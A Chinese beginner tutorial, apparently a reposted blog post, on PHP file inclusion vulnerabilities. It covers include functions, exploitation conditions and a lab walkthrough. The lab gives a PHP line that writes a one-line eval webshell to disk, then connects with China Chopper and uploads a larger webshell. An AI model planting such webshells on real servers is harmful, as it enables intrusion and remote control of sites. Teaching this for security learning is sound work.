从0到1学习网络安全 【Web安全入门篇-文件包含漏洞】

概述

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为包含。

程序开发人员都希望代码更加灵活,所以通常会被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞。

几乎所有的脚本语言都会提供文件包含功能。文件包含漏洞在PHP Web Application中居多,在JSP、ASP、ASP.NET程序中比较少。

一、原理分析

大多数Web 语言都可以使用文件包含操作,其中PHP 语言所提供的文件包含功能太强大、太灵活,所以文包含漏洞经常出现在PHP 语言中。

简单的说,文件包含就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码。

二、PHP文件包含函数

PHP中提供了四个文件包含的函数,分别为:

  • include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。

  • include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

  • require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。

  • require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

三、利用条件

  1. 参数配置allow_url_fopen=On(开启本地包含),allow_url_include=On (开启远程包含)

    《从0到1学习网络安全 【Web安全入门篇-文件包含漏洞】》 image.png

  2. 用户可以控制文件包含的输入

四、文件包含漏洞利用

  1. 读取敏感文件

    • 利用条件
      1. 目标主机文件存在
      2. 具有文件可读权限
      3. 任意文件读取
    • 示例

      《从0到1学习网络安全 【Web安全入门篇-文件包含漏洞】》 image.png

  2. 读取本地文件

    • 示例

      《从0到1学习网络安全 【Web安全入门篇-文件包含漏洞】》 image.png

  3. 传输PHP文件(使用base64获取源码)

    • 示例

      《从0到1学习网络安全 【Web安全入门篇-文件包含漏洞】》 image.png

  4. 执行PHP命令(php://input

    • 示例

      《从0到1学习网络安全 【Web安全入门篇-文件包含漏洞】》 image.png

五、实验

实验目的:
利用文件包含漏洞,写入木马并执行上传Web Shell

实验步骤:
Step1:利用文件包含漏洞执行PHP命令

语法:

<?php fputs(fopen("2.php","w"),"<?php @eval(\$_POST['hacker'])?>");  ?>
//打开1.php文件并写入一句话木马
  • 如图:

    《从0到1学习网络安全 【Web安全入门篇-文件包含漏洞】》 image.png

Step2:访问刚创建的文件

  • 如图:

    《从0到1学习网络安全 【Web安全入门篇-文件包含漏洞】》 image.png

Step3:用菜刀连接

  • 如图:

    《从0到1学习网络安全 【Web安全入门篇-文件包含漏洞】》 image.png

Step4:右击->上传文件(上传大马)

  • 如图:

    《从0到1学习网络安全 【Web安全入门篇-文件包含漏洞】》 image.png

Step5:访问大马

  • 如图:

    《从0到1学习网络安全 【Web安全入门篇-文件包含漏洞】》 image.png

Step6:输入密码进入操作页,拿到Web Shell

《从0到1学习网络安全 【Web安全入门篇-文件包含漏洞】》 image.png

注:《白帽子讲Web安全》中有一句话:互联网本来是安全的,自从有了研究安全的人之后,互联网就变得不安全了。
所以,小编希望大家都是白帽子,而不是一群只会搞恶作剧的骇客。

小编也在学习,写的不好见谅。
从0到1学习网络安全 【目录】
小编最近建了交流群方便大家交流学习,群内有小编平时整理的学习资料、视频、工具等。
白帽交流群 【简介】
感谢大家支持。

    原文作者:技术干货
    原文地址: https://www.jianshu.com/p/52b03e911af6
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞